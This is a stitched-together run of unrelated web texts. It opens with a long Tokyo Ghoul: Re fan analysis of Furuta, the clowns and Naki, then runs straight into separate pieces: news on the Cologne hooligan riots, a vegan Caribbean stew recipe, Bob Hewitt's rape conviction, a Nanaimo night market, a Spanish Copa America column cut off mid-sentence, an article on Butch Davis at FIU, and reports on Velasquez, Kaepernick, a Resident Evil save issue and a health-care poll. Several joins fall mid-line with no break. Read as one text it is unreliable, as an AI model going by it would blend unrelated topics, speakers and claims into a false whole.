Which means these objective narration boxes that have been appearing ever since Furuta took control of the CCG at the end of the clown raid arc, are all Furuta’s narration, except in the instances where it’s obviously Naki and Kaneki describing their own emotions later on in this chapter. So, this one:
And this one:
I’m quite confident in this assertion, as these narrative boxes despite being objective third person narrators never describe things that Furuta would not reasonably know. Yet at the same time, they also describe things that only Furuta could know.
After all why is the objective narrator talking about Future events that have not happened in story yet, if we know that Furuta was the last bureau chief just from the narration alone that would be the story spoiling itself. Unless, that was exactly what Furuta planned himself to become.
Even Ui’s own personal realization here, is not done in Ui’s voice. it’s commented upon like a third person objective observer. Furuta could reasonably know what Ui came to the conclusion of here, because Furuta is manipulating Ui into believing these things.
There are many who refer to Tokyo Ghoul: Re as ‘not a tragedy unlike the first one’. I find that far too unspecific a genre though. To me, the story has always read as a battle of narratives.
If 85 made anything clear, it’s that the narrative purpose of Kaneki from the beginning was for him to take up the title of one eyed King. The series was named after the concept after all. Regardless of whether you think Kaneki makes a good king, his entire narrative arc builds up to that role, and the current path that he is on requires him to eventually grow into the role of King if he wants the happy future.
Eto’s narration even suggests that Kaneki may even be able to step away from the throne of king eventually, but it all requires him to be able to accept the title, live up to it, and make choices.
However, Kaneki’s narrative arc is stalled and complicated by the fact that the moment after he became king, another king arrived on the scene and completely stole the show. Before he could even make his first move, Furuta acting as a second one eyed king began to complicate things and limited the steps he was able to take until he was almost completely without agency.
As Ayato himself declares, before Goat was even able to do anything Goat was immediately painted as bad guys, and brutal rebels that were worth wiping out. Even Kaneki’s attempts to distance themselves, and make the point of how peaceful Goat was in comparison to the clown rebels was ineffectual at best, and did not change the minds of any investigators who eventually signed on for the eventual Goat 24th ward raid.
Kaneki had absolutely no control over how the public saw Goat, and how they saw ghouls as a whole. In other words, despite stepping up to lead his own rebellion Kaneki completely lost control of the narrative. This is a narrative battle, between Kaneki’s want to fight against tragedy, and Furuta’s want to fall to it. The purpose of Kaneki’s narrative was laid out bare enough by the clowns as early as chapter 13.
Kaneki is someone who struggles against Tragedy. Despite all of the facts of his narrative that Kaneki embraces his own agency less state, despite his suicidal ideation, there is always a part of Kaneki that still fights to live. This conflict is what drives his existence.
Furuta on the other hand is very much about embracing death. If the hanged man’s noose is something that Kaneki constantly fret and worries over. Furuta enjoys it, he embraces it, he wears it like a neck tie, a part of his attire.
It’s heavily hinted too, and has been picked up by a few more meta writers other than me, that Furuta’s ultimate goal is not really retaining control of the Washuu, or wiping out Goat but rather setting the stage for his own death. That is a reflection of what Kaneki’s goal was in the fight against Arima. Being able to perfectly control the circumstances of his own death, and die while he’s still loved by everyone around him.
I couldn’t care less what comes after, here dragon will…
The phrasing here mirrors Kaneki’s own when he discusses with Eto, what he was planning to do after the Prison Raid.
Therefore it’s likely the elipsses are leading off to Furuta saying “Dragon will kill me.” Which means if all goes according to plan, Furuta will have achieved his perfectly written tragedy. Goat will be provoked, Kaneki finally will directly confront Furuta and possibly end his life in public.
It seems Kaneki was already beginning to think along those lines anyway. The moon arc is in a way, all about narratives. The temptation is for characters to think narratively, and become obsessed with their own narrative composed inside of their heads. It’s something Furuta even mocks.
Which means, if Furuta were to get exactly what he wanted, a death that goes according to his own plans where he is sitting at the center of the stage, as the fully realized he would have won essentially and Kaneki would have lost.
Tokyo Ghoul is still a tragedy, all of the characters are still contained in the cage of genre, and nobody can break through and escape. It’s actually quite a depressing ending, even if it would end with something so simple as the villain dying.
Let’s talk about the clowns for a second, the ones who most carefully follow the idea that you can treat life as a narrative that will always stick to narrative conventions.
The clowns seem pretty united themselves in agreeing that the demise of Goat will be a good show to watch. That was something I was convinced of myself, except for two suddenly out of place things.
Roma’s sudden death despite the reveal of the importance and depth of her character, and also the chapter title to 139.
He laughs
The clowns having the last laugh is pretty much their catchphrase, but there was not a single clown even pictured in that chapter. 140, which heavily featured Furuta mainly going uninterrupted in his plans would have been a much more appropriate time to have the chapter title he laughs.
However, if you think thematically just like the clowns would, these pieces can be assembled together. Let’s analyze the clowns ideology laid out to us by Nico for a second. Who really is our introduction to the clowns.
Otherwise, if you can’t live an entertaining enough life yourself, then you can get by on observing others. All of the clowns are people who are left out of society, and make up for it by finding subsistence in observing others. It was started out by Roma, who was jealous because she had no points of attachment, or nothing to distract herself from the existentialist questions of life unlike all of the spoiled and privileged humans all around her. They were all able to put on a show to distract themselves, so for Roma they became her show.
Roma does not care about her own confinement or even her own lack of involvement in things as long as she has something to watch.
She’s the originator of the clown’s ideology and therefore the most hardcore believer in it. Roma would never accept a world that was changed for the better, a world of acceptance for ghoulkind because to her that would be much less fun. Her ultimate objective is to simply revel in the cage, to her there’s no meaning in life besides that.
She alligns herself with Furuta so hard, even revealing her Kakuja and taking fights seriously because she knows what Furuta is fighting for is not truly a change in the world, but rather to revel inside of the cage just the same as her.
[x] @tgcalendar2016
On the same end, the clowns who are most loyal to Furuta the ones he uses the most frequently to do his bidding are all equally as unhinged as Roma. There is Rio who has just completely lost his mind at this point and cannot make any decisions.
Then there is Donato, who seems caught up in his feelings of revenge towards the world for both disturbing his peace, and also his time with Amon Koutarou a person he genuinely grew attached to, to do anything substantial besides or challenge his clown mindset.
Donato is driven almost entirely by personal emotion and fulfillment in this conflict, and yet still positions himself as an outsider. The paradox there is obvious, and it’s likely that this mindset of Donato’s will crash in on himself as well as his unshakeable confidence.
So out of six clowns not counting Furuta we have three that are narratively doomed, Roma because she forced herself to become too insignificant and therefore died just as insignificant, Donato because it’s likely he will flip the opposite and become too emotionally involved in a conflict the clown’s are meant to keep their distance from, and Rio who is once again crazy and unable to decide for himself.
On the flip side though, there are three clowns who still might make significant actions and act to influence the narrative. The question is, why would they do that?
They find a tragic ending to be a boring one. Uta remarks at the end of Tokyo Ghoul, that tragedies aren’t popular and immediately afterwards we get a hint that Kaneki might still live.
This is the motivation between for my oft predicted sun arc. Where the clowns’ appear to finally shed light on what was otherwise a dark narrative.
Because for them, that is the more well balanced clowns it’s simply more fun to keep the story going.
Uta and Itori are a bit more inscrutable when it comes to their motives as they have almost no narrative reveals about their characters at all, so let’s focus on Nico for a second.
If Roma is the most clownish, the most destructive, the most off kilter of the clowns, then it makes sense that her polar opposite would be someone who is able to apply the clown’s ideology to life in a less destructive way.
Nico’s kagune is a healing one, it’s just as capable of destruction as it is reconstruction. Not only that, but he does have a limit. He expresses both reluctance and regret when Yamori pushes him too far.
The clown’s viewpoint is objectively a nihilistic one, that there is no real meaning to life so therefore they should treat it like a fictional narrative. Nico goes one step beyond it though, he gives that narrative meaning. That is to say he creates his own meaning, despite still feeling emptiness.
Like a person, Nico still feels emotions and tries to cover up his own emptiness. Rather unlike the rest of the clowns who embrace their emptiness wholeheartedly, and therefore entirely deny their emotions as people. Nico represents what a well balanced clown would be like, ideally someone who still sees emptiness in life, but uses the tropes and narrative conventions to give their own lives meaning in a self aware way rather than to take meaning away from others.
The clowns deny that they are people, that they are a part of this narrative, that they are on the stage. Roma only stepped on the stage when she finally decided it was exciting enough to be worth the risk of getting close. As Uta points out, the clowns are outsiders, reprobates. It gives them unique perspective over characters all caught up in their own narratives but it also makes them observers unable to fulfill their own lives or cure their own loneliness. Seeing themselves as observers is how they become okay with something like witnessing the destruction of ghoul kind even though they themselves are obviously ghouls.
Nico has already shown though, that the clowns are willing to work outside of Furuta’s goal for a better show.
Itori already confirmed, that the clowns know where the 24th ward is outside of Furuta’s information from Hajime.
The pieces are in place for the clowns to be able to make a choice. The three clowns doing so, Uta and Itori both have a personal attachment to Renji, and Nico is the most well balanced of the clowns. They might choose finally to bring about a change in the tides for Goat.
As pointed out in chapter 128, Uta seemed rather bored at the prospect of Furuta simply ending things with Kaneki just like that, putting the beleaguered starving ghouls out of their misery.
Whether it’s because tragedies nowadays are not popular, or because they have genuine emotional attachment to some of the Goat members, the clowns who can overcome the destructiveness of the clown’s ideology might still intervene in things to provide much needed hope and closure for goat.
Why the Sun?
The sun has always been a symbol associated with Uta from the start. It is the tattoo he wears on his chest, directly over his heart ironically enough. There are hints that the moon arc is coming to an end, and that dragon whatever it is will be the last swing of the pendulum.
The Sun is an image of optimism and fulfilment, the dawn that follows the darkest night. As the source of all life on earth, the Sun represents the source of life itself. The child playing joyfully in the foreground represents the happiness of our inner spirit when we are in tune with our truest Self. He is naked, having nothing to hide. He has all the innocence and purity of childhood. The white horse upon which the child rides represents strength and purity of spirit.. The horse is without a saddle and is controlled without the use of the hands. This is a symbol of perfect control between the conscious and subconscious.
We have a few things that are already hints of the sun arc coming into fruition. There’s an infant (touka’s pregnancy). However, the ultimate coming of the sun would be a balance between conscious and subconscious, and as we see even as Kaneki tries to be decisive he is still entirely insecure in subconscious worry.
(I used this twice sorry)
He’s still caught in the hanged man’s noose so to say. Whereas the sun is a card of confidence and liberation. If Kaneki were to come home to a ruined Goat, be absolutely destroyed because Touka, Naki, Miza, Yomo and everybody he left behind died I hardly see him being able to finally reach that point of enlightenment.
The sun is something that comes after the darkest night though, which is something we have already seen happen.
Urie’s supposed final moments mirror Naki’s almost perfectly. We cut to his internal narration. He flashbacks about losing someone important, and thinks about how it’s fine if he died instead of the old man.
He gets one last burst of energy and it seems all for naught in the face of the obstacle of tragedy. Urie looked pretty much dead at this point, even when he miraculously recovered Furuta still had him cornered. He was only saved by the interference of a sun character.
Nagachika Hideyoshi, whose last appearance was in the star arc, the arc of temporary insight and encouragement. One where he appeared as an illusion in order to inspire Kaneki with a temporary moment of revelation. Hide is a thinker, and a plotter, somebody just like the clown’s who enjoys playing games of detective and using his mind. He’s an observant person and works perfectly as a character of insight.
So we have Naki too, in a cliffhanger that seems to be leading towards his own death.
If Tokyo Ghoul were a tragedy, it would be perfect for him to die here. After all Naki has not overcome his primary flaw, he has not been able to let go of Yamori’s death and considers dying in a stylish way like Urie, to be preferable than continuing to live on with out him.
He matches Urie’s own preference that Shirazu should have lived, and would have lived better than Urie himself would had he survived the Noro operation. It’s that kind of emotional attachment that gives but Shirazu and Urie the strength to face death.
Tokyo Ghoul is not a narrative of facing death though, it’s one of living. Just like Yomo who was comforted by his sister’s memories of living, right before facing death.
Was not allowed to die at the time, even though he looked similarly doomed. The point of these characters is not for them to die like dogs pointless, tragic, deaths no matter how much the narrative controlled by Furuta seems to suggest otherwise.
But rather to live, and find on the meaning to live. Hide even says so point blank.
You just haven’t found a good enough reason to live yet.
The Demian parallel in K’s Egg makes it clear though. To find the happiness, the reason to live, the new world, you have to destroy the old world. As touching as Naki’s monologue is, it’s also deeply troublesome.
Naki enjoys violence, he enjoys it because he associates it with his big bro. He thinks violence is what will please Yamori. Even though the reason Hoguro and Shousei follow Naki is not because of his violence or his strength, but rather his heart.
Therefore caught up in the image of his big bro, Naki does not realize his own self importance. This is something that has been built up about Naki for a long time, his very first scene in Re: Akira lectures him to something of that affect.
Naki believes there’s nothing for him and no reason for him to live without Jason in his life. Yamori is essentially his everything, In that moment he again is about to accept his own death.
However he is saved at the last moment because there are two people who because of the affection that Naki has shown them, believe his life is worth living still.
Naki does not realize that there is a happy future for him if he fights for it, thus he is content to simply die in style, in a way he can brag about to big bro. He in very simple forms, matches the trauma that both Furuta and Kaneki share.
There is heavy foreshadowing and thematic reason for why Naki might die. After all ghoul gangs, the kind of violence that Naki enjoys, are a symptom of the old world. In the world that exists for coexistence, the violent ghoul gangs would no longer belong. They would have no need to for one, and they would still be branded as outcasts and crimminals so Naki would never even have earned the safety of his white suit family that he worked so hard and so desperately to protect.
As Naki said, the white suits don’t need organizations. They scraped themselves up because they were created specifically by a need to survive in the violent environment. As long as the CCG continues to press down on ghouls short of wiping them all out, it’s likely more and more gangs were going to form, the dobers, the monkey and then the blades and the white suits.
Another strong parallel is that this chapter extremely closely parallels Foolish Death, to the point of even having a cliffhanger death. Miza unable to let go of her pride as an underground ghoul, fights the CCG officer to her apparent death.
One other thing is that this chapter firmly establishes that the reason the white suits follow Naki is that he’ll be able to carry on their memory long after they die. That is they follow Naki specifically because they want him to live.
Which heavily conflicts Naki’s own suicidal nature, of wanting to die in a cool way that he can brag about to big bro. If Naki were to die here, he’d be disappointing the one hope of his brothers Hoguro and Shousei placed on him, and he would also be dying as a part of the old world, unable to escape the confines of the white suit which is his everything.
The alternative however is of course, Naki realizing he has something outside of his ghoul gang.
Miza almost realizes this too, that the Blades were closed off from everybody and her love of Naki meant that they would be opening themselves up. For Naki and Miza whose entire lives have been dominated by their gang identity and their leadership of those gangs, their future path does not lie in staying with those gangs however, but with each other.
Children is something that has been brought up between Naki and Miza, not in one, but three omakes. Even one so recently as to refresh us of the idea.
Not only that but it heavily parallels Kaneki’s current reason to fight and move on, to create a world in which him and Touka are able to safely raise their child. What lies in the future for Naki is not to die like a dog, but realize there is still a future happiness that he can grasp.
That the entirety of his meaning is not in the past. That there still exists a future for him. Not only is he the one who carries the memories and feelings of all the white suits, but he also can carry his and Miza’s future together as a reason to live.
As he is now though, Naki is unaware of this choice. He is ignorant, in the darkest point of the night. The same way that Miza was mostly unaware of her feelings for Naki until right before her supposed death left her on a cliffhanger. The same way Yomo accepted his own death against Arima as long as Touka and Ayato could make it out.
The final point of comparison is how happy Naki seems right now. This is exactly what he thinks he wants. If thematically Tokyo Ghoul is arguing against suicide, then shouldn’t Naki be denied the happy death that he wants?
That is essentially the point of the sun arc. For these characters to realize, not their wants but the needs they need to account for to grow. The interference of the clowns to tell them is something that will help advance that front, as Urie would never have moved forward had Donato not explained it to him point blank.BERLIN (Reuters) - The German capital Berlin is scrambling to ban a planned rally against Islamists by neo-Nazis and self-styled soccer hooligans after rioting in Cologne in which 49 police officers were injured.
Protestors gesture towards police using water cannon against them during a demonstration by 'hooligans against Salafists and Islamic State extremist' in Cologne October 26, 2014. REUTERS/Wolfgang Rattay
The disturbances coincided with growing concern that Western-led air strikes to stop the advance of Islamic State insurgents in Syria and Iraq are radicalising some young people with Muslim immigrant backgrounds in Germany and elsewhere.
Sunday’s clashes, when some 4,000 hooligans - many drunk - and neo-Nazis hurled objects at police who responded with pepper spray and water cannons, also raised fears of violent youths with no political agenda joining forces with a racist group.
The hooligans - as they term themselves - want to stage a protest against ultra-conservative Islamic Salafists at Berlin’s Brandenburg Gate on Nov. 15, a week after the capital celebrates the 25th anniversary of the fall of the Berlin Wall.
Berlin’s senator for interior affairs Frank Henkel told ARD television he had heard talk of 10,000 people wanting to attend.
“We will do everything we can to ban the demonstration,” said Henkel. “We are experiencing a new quality, a new dimension of street violence and militancy. (In Cologne) it was clear from the start that it was not about a political statement but seeking physical clashes, especially with the police.”
However, although German courts regularly ban marches by neo-Nazi groups, Henkel said this should be decided on a case-by-case basis rather than trying to impose a long-term ban.
Germany’s domestic intelligence agency, the BfV, monitors neo-Nazis and the far left but does not currently keep watch on football hooligans, perceiving most as apolitical.
“They see their values, Western values, if I can put it like that, as beer drinking and beating people up,” said BfV president Hans-Georg Maassen. “We have, however, established that there were a lot of right-wing extremists trying to mix in with the hooligans (in Cologne).”
The German security services have warned of an increased risk of street violence between rival radical groups while sounding an alarm about a rising number of Islamist militants inside the country ready to join Islamic State.
Salafists advocate a puritanical form of Islam and the BfV says their numbers in Germany are rising, along with the number of potential recruits for Islamic State.
The BfV estimates that 450 people have travelled to the region from Germany to join radical jihadist forces.
The marchers in Cologne bellowed “Hooligans against Salafists” and “Foreigners out!”
Germany is sending arms to regional Kurdish forces in Iraq to help them fight Islamic State while the United States is spearheading coalition air strikes on the insurgents.I’ve never actually been the Caribbean, so haven’t had the delight of trying authentic cuisine from that part of the world, but I would like to go some day. Maybe I can put it on my dream world trip list, it looks like a stunning location and those beaches!!! I sense this is getting to be quite a long list I’m creating.
I haven’t made conventional rice and peas purely because I used many of the spices (and the coconut milk) in the stew, so wanted something very light to go with it, which is why the rice and peas are simplified somewhat, but you can make it however you prefer. The dish itself is packed full of vegetables and the portobello mushrooms gave it a hearty texture that is needed for these winter nights. My pan got filled so quickly, I didn’t have room to add in the green beans or the red and green peppers I had, so if you are catering for more than 2, you can pop these in as well.
I have finally, finally got my watch sorted yesterday, my Christmas present has been sat in it’s box waiting patiently for me to take it into town and get a couple of links removed. When I initially tried it on it fell off my hand and I almost broke it… not the best start! But now it’s done, fits perfectly and I’m looking forward to wearing it.
Off now to think of some weekend treats I can bake, someone posted a comment on this blog mentioning Clif Bars, I have never heard of them over here, so I had to look them up and it’s given me some ideas, inspiration you might say… to make something like the black cherry and almond or the banana bread bar, I’ll have to have a good think about it and see what I decide on.
Caribbean Vegetable Stew served with Rice & Peas (Vegan & Gluten Free)
MyInspiration Feel The Difference Range
Serves 2 (ready in 35 minutes)
Vegetable Stew
2 large Portobello mushrooms chopped
2 red onions chopped into wedges
1 large yellow pepper chopped
1 large carrot peeled into ribbons
1 cup of canned light coconut milk
1 tin of chopped tomatoes
2 cups of spinach
½ cup Spicy Jerk Paste (See recipe below)
Method
1. In a large frying pan or wok, heat 2 tbsp water and add the red onions and cook for 3 minutes before adding in the carrots, pepper and jerk paste, stir to coat everything.
2. Add the coconut milk and chopped tomatoes and mix through, then add in the mushrooms and cook for 15 minutes.
3. Finally throw in the spinach and fold the mixture over to wilt, then serve with your rice and peas!!
Spicy Jerk Paste
2 garlic cloves, peeled and chopped
2 spring onions chopped
2 chilis, chopped
1” cube of fresh ginger chopped
2 tbsp Soy sauce
1 tablespoon water
1 tsp natural brown sugar
2 tsp dried thyme
Pinch ground allspice
Pinch nutmeg
Method
1. Put everything in a food processor and pulse until smooth
Rice & Peas
1 cup basmati rice
2 cups vegetable stock
1 cup cooked kidney beans
Method
1. In a pan add the 2 cups of vegetable stock to a cup of rice, turn down to the lowest heat and allow to cook for 15 – 20 minutes, give it a stir to stop it from sticking to the bottom. Once the rice is cooked, stir through the kidney beans.The former tennis champion was accused of sexually assaulting three women in the 1980s & 1990s.
JOHANNESBURG - Former tennis champion Bob Hewitt has been found guilty on two counts of rape and one of indecent assault.
Hewitt pleaded not guilty after three women claimed he abused them while he was their coach in the 1980s and 1990s.
Ten witnesses testified last month.
The state and the defence presented closing arguments this morning.
Judge Bert Bam handed down judgment this morning, saying the state was able to prove that Hewitt raped and sexually assaulted three women almost 30 years ago.
Bam said there was a striking resemblance between the testimonies of all three women, which may indicate the former tennis star's modus operandi.
The judge said Hewitt clearly manipulated the young girls, put them under his spell and they were intimidated by him, which is why they were submissive.
The victims, who were in court today, became emotional, with Hewitt trying to avoid looking at the cameras.
VICTIM 1: 'MY PARENTS SUPPORT BOB HEWITT'
During the trial victim one, Suellen Sheehan, revealed she did not have a relationship with her family because her parents supported Hewitt.
She claimed her parents were abusive towards her when she was young, saying she didn't report the abuse immediately because her parents dismissed her and told her she was talking rubbish when she tried to confide in them.
A few years ago, her parents took to the media, calling her a liar and denying that she'd been left alone with Hewitt.
Sheehan then claimed that her family supports abuse.
VICTIM 2: THE LOVE LETTERS
Letters that Hewitt wrote to victim two, Theresa Tolken, were also highlighted during the case.
It was revealed in court that the former champion wrote the word 'love' eight times in one letter addressed to Tolken, who was 13 at the time.
She claimed Hewitt made her touch him inappropriately and raped her.
But Hewitt testified that in the letters, he was trying to show her fatherly love and wanted to build up her confidence.
He also said if he had had sex with her, she would have had to be hospitalised, adding that this didn't happen and that the letters he wrote were innocent.
The now guilty 75-year-old said he was closer to Tolken than any of his other tennis students, adding that he felt sorry for her and believed she didn't have a good relationship with her father.
VICTIM 3: 'RAPE IS ENJOYABLE'
Later in the trial, more shocking details emerged, with the third victim testifying that Hewitt told her'rape is enjoyable'.
The woman testified she was 14-years-old when Australian-born Hewitt would rub himself against her and get upset when she would push him away.
She told the court he would ask her what colour underwear she was wearing and tell her that he liked black lace garments.
The woman claimed Hewitt told her rape was enjoyable in all cases and that when he did it to her, she should just lie down and enjoy it.
He later tried to explain the comments, saying they were not directed at his female students and he was referring to the matter in tennis terms.NANAIMO — As street markets explode in popularity on Vancouver Island, the Nanaimo Chamber wants to see the harbour city get in on the action.
The Greater Nanaimo Chamber of Commerce is moving ahead with plans for the Commercial Street Night Market in 2018. President Kim Smythe said the plan is to shut down Commercial St. to vehicle traffic and setup a street market for 11 Thursday evenings starting in June.
Smythe said communities like Oak Bay, Sidney and Parksville raved about the success of their markets.
"Night markets are a great way to enliven a downtown's nighttime economy. We had brought this up in the past...Everybody was favourable to it but nobody wanted to move ahead too quickly," Smythe said.
He said the idea is to model the market around others in B.C. There will be vendors, food trucks, street entertainers, a live stage and family activities.
A lot of positive momentum was generated after the success of the Bathtub Days Street Fair last summer, Smythe said. "People were saying 'if we could do this more often, more people would learn how much fun it is downtown and what a safe and clean place it actually is.'
"By enlivening downtown by bringing what we expect to be thousands of people, it will also spill over to people wanting to come down on Friday and Saturday night and we'll have a lot of positive action."
Parksville's Summer by the Sea market has developed a near-cult following heading into its 15th year. It features nearly 200 vendors and draws upwards of 4,000 people per night in peak tourist season.
Smythe said the Commercial Street market concept was supported by the City and businesses he has spoken with. He said the plan is to consult with more downtown merchants after the holiday season and finalize all the details.
[email protected]
On Twitter: @domabassi20:15h CLST
¿Saben qué? Lo tienen todo para ganar la Copa América: son locales, juegan contra Uruguay sin Luis Suárez y luego se enfrentarían al ganador de Bolivia y Perú. Es decir, no tienen que hacer nada del otro mundo para meterse, al menos, en la final. No hay lesionados, no hay suspendidos, a Brasil le sacaron a Neymar, Colombia juega mal, Paraguay es pura voluntad y Argentina todavía no aparece. Además, ellos se matan por el otro lado del árbol. Dejémonos de eufemismos, está Copa fue ideada, programada y realizada para que Chile se quite la mufa de 99 años.
Yo estoy viejo, ya la hice, no sufro ni lloro por una selección chilena. No tengo esa cuota de ingenuidad que necesitan los hinchas para vibrar. Hace más de 20 años dejé el tablón por razones profesionales. Las pulsión emotiva, labrada por cientos de tardes haciendo cola en la boletería, esperando en la galería bajo el sol o la lluvia, volviendo a casa derrotado o triunfante colgado a una micro |
to spend much time on what happened with Davis in North Carolina (2007-2010).
Major problems hit not just the football program, but several athletic teams there.
In 2013, respected college football author and writer Bruce Feldman did a long story on Davis at North Carolina. Written for CBS sports, the key point is Davis has a letter from Shepard Cooper. He is the NCAA Director of the Committee on Infractions.
Shepard wrote: "This is to confirm that former University of North Carolina head football coach Paul 'Butch' Davis was not alleged to have been involved in any violations of NCAA legislation at the University of North Carolina."
A lot was wrong in Chapel Hill. An assistant coach had brought in an agent, who paid some players. There was academic fraud that carried over several teams. Davis should have been more diligent. But in the end, the NCAA found no fault with him.
"There were eight different investigations," said Davis. "Not one single violation was attached to me. But there was still damage to my character and integrity, that was the worst part. Some of that stuff was going on 17 years before I got there."
STARTING OVER
The man who gave Butch Davis another shot at coaching is Pete Garcia.
Garcia was a recruiting coordinator and director of football operations for six years when Davis was at Miami.
When Davis came to the Browns, Garcia was hired as director of player personnel.
In 2006, Garcia joined the athletic department at Florida International as athletic director. He hired Davis after FIU finished 4-8.
The football program has existed for 15 years and has only 52 total victories.
Davis had been a advisor to Greg Schiano when he was head coach of the Tampa Bay Buccaneers from 2012-13. Davis also did a lot of work for ESPN.
"I'd go to places like Alabama and Nebraska and watch practice to prepare for (broadcasting) games," said Davis. "I missed it. I wanted to be out there, running drills with the kids, having a whistle around my neck."
FIU is in Miami. This is a home-field advantage for Davis, who has recruited the area for decades.
"Last year, there were something like 450 players from Florida to get Division I scholarships," said Davis. "We only need 20-25 each year. This is like coming home to me."
Davis talked about "missing kids, missing coaching."
His age is 65, his heartbeat for the job sounds like a 35-year-old getting his first big break.
"We're not going to beat Alabama," he said. "But we can have a good football program here."
FIU plays in the Conference USA. He'll face Lane Kiffin, the new coach at Florida Atlantic. That university is in Boca Raton. FIU is picked sixth in the seven-team division.
Davis told me about FIU's 53,000 undergraduate students, about it's law school... medical school... marine biology school.
"Academically, it's fabulous," he said. "I'm a young 65. This is fun for me."
And his thoughts about Cleveland?
"When it comes to the fans, they are the best," said Davis. "I have tremendous empathy for them because of all they have gone through."Though he suffered his first loss in nearly four years, and lost the heavyweight title in the process, former UFC heavyweight champion Cain Velasquez is already looking to return.
And according to a report on UFC Tonight, Velasquez came out of his UFC 188 title fight with Fabricio Werdum without any lingering injuries. He'd like to make his return at UFC 192 in Houston in October.
Sources close to Velasquez told Ariel Helwani that he wanted to compete on that particular card because that's the same one his training partner -- and current light heavyweight champion -- Daniel Cormier is hoping to fight on. That event will take place at the Toyota Center on Oct. 3, the same venue that Velasquez defended his title against Junior dos Santos on at UFC 166.
Though he is zeroing in on a date and city, the report said that Velasquez does not yet have an opponent in mind.Please enable Javascript to watch this video
SAN DIEGO – In an interesting coincidence, the San Diego Chargers will hold their annual Salute to the Military before Thursday's game against the San Francisco 49ers – whose starting quarterback Colin Kaepernick drew criticism for refusing to stand for the national anthem last week.
It'll be the 28th year that the Chargers host a Salute to the Military game. The game gets heavy attendance from service members and veterans. A Navy sailor will perform the national anthem and the Leap Frogs will parachute into Qualcomm Stadium before kickoff scheduled for 7 p.m.
It would be no surprise to NFL fans if cameras are pointed in the direction of Kaepernick as the pregame events take place. The quarterback said his refusal to stand was in protest of how people of color are treated in the U.S.
Kaepernick was slammed as unpatriotic and disrespectful. His actions were considered being insulting to those who made sacrifices for the country.
A Gold Star mom who lost her son in an IED attack in Afghanistan told CNN that her heart stopped and she lost her breath when Kaepernick said he couldn't stand for the flag. Local war veterans in San Francisco criticized him as a poor role model, according to CNN affiliate KRON. The San Francisco police union has demanded the NFL denounce Kaepernick's "foolish statements."
In another corner, some -- including activists and NBA great Kareem Abdul-Jabbar -- have praised him for bringing awareness to a major issue.
Kaepernick sat in protest over what he called the oppression of black people and people of color, during the national anthem before a NFL preseason game on Friday.
As the controversy grew, members of the military and veterans took to social media using the hashtag #VeteransForKaepernick, which started trending worldwide on Tuesday.
"It's a misconception that every military member is furious at what his protest when there are those that are proud. #veteransforkaepernick" wrote an Instagram user called TreyFade.
Americans who serve in the military are by no means a monolithic group.
Less than one-third of the US military identify as minorities (Blacks, Asians, American Indian, etc) and 12% are Hispanic, according to a 2014 demographics report of the military community.
Several veterans and service members piped up in defense of Kaepernick.
A man describing himself as an Air Force veteran wrote: "I'm with @Kaepernick7. I'm a vet. I care about people's right to take a stand. It makes us better & smarter."
Sunny Anderson, Food Network personality and a veteran tweeted: "I took an oath & served, so players on a team I don't even like could have freedom of speech."
Another tweeter listed where his military career had taken him: "West Point, Ranger School, Kosovo, Iraq, Bronze Star. @Kaepernick7 is an American hero."
A woman describing herself as a Navy wife tweeted a picture of her husband who had returned from deployment.
Kaepernick has said that his controversial stance is not directed towards people in the military.
"I have great respect for the men and women that have fought for this country," Kaepernick told the press Sunday. "I have family, I have friends that have gone and fought for this country. And they fight for freedom, they fight for the people, they fight for liberty and justice, for everyone."
"That's not happening. People are dying in vain because this country isn't holding their end of the bargain up, as far as giving freedom and justice, liberty to everybody."
Deray McKesson, a leader in the Black Lives Matter movement, tweeted a political cartoon juxtaposing Donald Trump saying "America's Not Great" to a crowd of supporters cheering and one showing Kaepernick saying the same thing only to get booed.
The picture that launched 1000+ conversations. If used please credit @jenniferleechan Jennifer Lee Chan / SB Nation. pic.twitter.com/eIqagtTlSc — Jennifer Lee Chan (@jenniferleechan) August 29, 2016
CNN contributed to this story.No save data reset for Resident Evil: The Mercenaries 3D. I remember a couple guys mentioning this issue on Twitter when the game released in Japan, and apparently it’s also in the U.S. version, according to the manual.
There’s speculation that Capcom deliberately made it impossible for users to delete their save data to discourage used game sales – since those who buy Mercenaries 3D used can’t wipe the save and start over from the beginning, some Japanese shops will only pay very low prices (as low as $6!) for pre-played copies.
So, it sounds like it’s working for Capcom in Japan at least. But it’s not a great way to reward the fans who just dropped $40 on your game…
Preorder: Resident Evil: The Mercenaries 3D
Find: Nintendo DS/3DS release dates, discounts, & more
[Via Vyse the Legend]FILE- In this Aug. 1, 2017, photo, Senate Majority Leader Mitch McConnell, R-Ky., joined at left by Sen. John Barrasso, R-Wyo., holds his first news conference since the Republican health care bill collapsed last week due to opposition within the GOP ranks, on Capitol Hill, in Washington. People want President Donald Trump and congressional Republicans to try making the Obama health care law more effective, according to a national poll released Friday, Aug. 11, by the nonpartisan Kaiser Family Foundation. (AP Photo/J. Scott Applewhite, File)
WASHINGTON (AP) — Message to President Donald Trump and congressional Republicans: Stop trying to scuttle the Obama health care law, and start trying to make it more effective.
That’s the resounding word from a national poll released Friday by the nonpartisan Kaiser Family Foundation. The survey was taken following last month’s Senate derailment of the GOP drive to supplant much of President Barack Obama’s statute with a diminished federal role in health care.
Around 4 in 5 want the Trump administration to take actions that help Obama’s law function properly, rather than trying to undermine it. Trump has suggested steps like halting subsidies to insurers who reduce out-of-pockets health costs for millions of consumers. His administration has discussed other moves like curbing outreach programs that persuade people to buy coverage and not enforcing the tax penalty the statute imposes on those who remain uninsured.
Just 3 in 10 want Trump and Republicans to continue their drive to repeal and replace the statute. Most prefer that they instead move to shore up the law’s marketplaces, which are seeing rising premiums and in some areas few insurers willing to sell policies.
Flying in the face of that, hard-line conservatives launched an uphill bid Friday to force a fresh House vote to revoke Obama’s law without an immediate replacement. The House Freedom Caucus filed a petition to force a vote if it is signed by 218 lawmakers, which seems unlikely because of GOP divisions and Democratic opposition.
Ominously for the GOP, 6 in 10 say Trump and congressional Republicans are responsible for any upcoming health care problems since they control government. That could be a bad sign for Republicans as they prepare to defend their House and Senate majorities in the 2018 elections.
And by nearly 2-to-1, most say it’s good that the Senate rejected the GOP repeal-and-replace bill last month.
Trump has been publicly browbeating Senate Majority Leader Mitch McConnell, R-Ky., to continue trying to pass legislation tearing down Obama’s 2010 overhaul. After using Twitter to blame McConnell for last month’s Senate failure despite years of GOP vows to repeal it, Trump suggested Thursday that McConnell should perhaps step aside if he can’t push that and other legislation through his chamber.
